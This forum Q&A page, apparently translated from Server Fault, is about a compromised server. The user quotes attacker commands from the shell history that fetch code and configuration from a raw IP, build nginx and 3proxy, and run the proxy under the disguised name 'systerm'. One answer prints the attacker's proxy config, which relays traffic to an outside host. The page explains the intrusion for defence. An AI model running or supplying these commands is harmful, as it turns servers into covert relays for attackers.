![命令解释](https://linux22.com/image/1227336/%E5%91%BD%E4%BB%A4%E8%A7%A3%E9%87%8A.png)
有人入侵了我的私人服务器,我在命令行历史记录中发现了以下命令。有人能解释一下这是什么意思吗?
1. wget http://sysoev.ru/nginx/nginx-0.7.64.tar.gz && tar zxf nginx-0.7.64.tar.gz && cd nginx-0.7.64 && ./configure --without-http_gzip_module --with-http_stub_status_module --without-http-cache ; make install && cd ../ && rm -fr ngi* && wget 94.75.210.13/nsm3.conf -O /usr/local/nginx/conf/nginx.conf && env -i /usr/local/nginx/sbin/nginx
和
2. wget 94.75.210.13/3proxy-0.6.tgz && tar zxf 3proxy-0.6.tgz && cd 3proxy-0.6 && make -f Makefile.Linux && mv src/proxy /usr/local/bin/systerm && cd ../ && rm -fr 3prox* && wget 94.75.210.13/3proxy.cfg -O /usr/local/etc/3proxy.cfg && env -i /usr/local/bin/systerm -p63222 &94.75.210.13/3proxy-0.6.tgz && tar zxf 3proxy-0.6.tgz && cd 3proxy-0.6 && make -f Makefile.Linux && mv src/proxy /usr/local/bin/systerm && cd ../ && rm -fr 3prox* && wget 94.75.210.13/3proxy.cfg -O /usr/local/etc/3proxy.cfg && env -i /usr/local/bin/systerm -p63222 &
答案1
答案2
它正在尝试安装具有以下设置的 Web 服务器和代理:
user www-data;
worker_processes 2;
error_log logs/error.log notice;
worker_rlimit_nofile 10240;
events { worker_connections 8192; use epoll; }
http {
include mime.types;
access_log off;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 0;
server_tokens off;
server_names_hash_bucket_size 64;
#//G
deny 64.233.160.0/19;
deny 66.102.0.0/20;
deny 66.249.64.0/19;
deny 72.14.192.0/18;
deny 74.125.0.0/16;
deny 89.207.224.0/24;
deny 193.142.125.0/24;
deny 194.110.194.0/24;
deny 209.85.128.0/17;
deny 216.239.32.0/19;
server {
listen 8080;
location ~* ^.+\.(gif|png|jpg)$ {
root /var/tmp/$host;
error_page 404 = @fetch;
}
location @fetch {
internal;
proxy_pass http://serverparkhosting.com:4480;
proxy_redirect off;
proxy_ignore_client_abort on;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_buffers 400 50k;
proxy_read_timeout 300;
proxy_send_timeout 300;
proxy_store /var/tmp/$host/$uri;
proxy_store_access user:rw group:rw all:r;
root /var/tmp/$host;
}
location / {
proxy_pass http://serverparkhosting.com:4480;
proxy_redirect off;
proxy_ignore_client_abort on;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_buffers 100 50k;
proxy_read_timeout 300;
proxy_send_timeout 300;
}
location = /info { stub_status on; }
}
}
答案3
正如其他人所说,您的服务器已被其他人入侵。通过删除和/或重新安装恢复后,您应该认真考虑实施非常基本的安全性。一个好的起点是您的 Linux 发行版的安全手册,也许像老虎脚本。